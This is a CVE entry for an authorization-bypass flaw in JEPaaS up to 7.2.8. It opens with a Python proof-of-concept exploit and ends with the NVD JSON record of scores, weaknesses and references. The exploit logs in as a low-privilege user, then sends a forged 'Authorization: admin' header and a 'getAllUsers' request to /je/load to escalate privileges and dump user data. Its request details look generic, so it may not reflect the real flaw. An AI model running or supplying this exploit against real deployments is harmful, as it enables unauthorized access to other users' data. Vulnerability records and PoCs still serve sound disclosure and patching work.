CVE-2025-14088

import requests import json # CVE-2025-14088 PoC - JEPaaS Authorization Bypass # Target: JEPaaS <= 7.2.8 # Endpoint: /je/load target_url = "http://target-server.com/je/load" # Low-privilege user credentials credentials = { "username": "low_priv_user", "password": "user_password" } # Step 1: Normal login to obtain initial token login_url = "http://target-server.com/je/login" login_response = requests.post(login_url, json=credentials) initial_token = login_response.cookies.get('JSESSIONID') # Step 2: Exploit - Bypass authorization via Authorization parameter manipulation headers = { "Cookie": f"JSESSIONID={initial_token}", "Authorization": "admin", # Manipulated Authorization parameter "Content-Type": "application/json" } # Malicious payload to trigger privilege escalation payload = { "action": "load", "module": "admin", "data": { "command": "getAllUsers" } } response = requests.post(target_url, headers=headers, json=payload) # Step 3: Verify privilege escalation if response.status_code == 200: result = response.json() if "users" in result or "admin" in str(result): print("[+] Privilege Escalation Successful!") print(f"[+] Response: {json.dumps(result, indent=2)}") else: print("[-] Exploit failed - unexpected response") else: print(f"[-] Request failed with status: {response.status_code}")

{"cve": {"id": "CVE-2025-14088", "sourceIdentifier": "[email protected]", "published": "2025-12-05T15:15:50.977", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in ketr JEPaaS up to 7.2.8. Affected by this vulnerability is an unknown functionality of the file /je/load. This manipulation of the argument Authorization causes improper authorization. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://github.com/zhangbuneng/The-Jepaas-platform-has-a-vertical-privilege-escalation-vulnerability./issues/1", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.334478", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.334478", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.695316", "source": "[email protected]"}]}}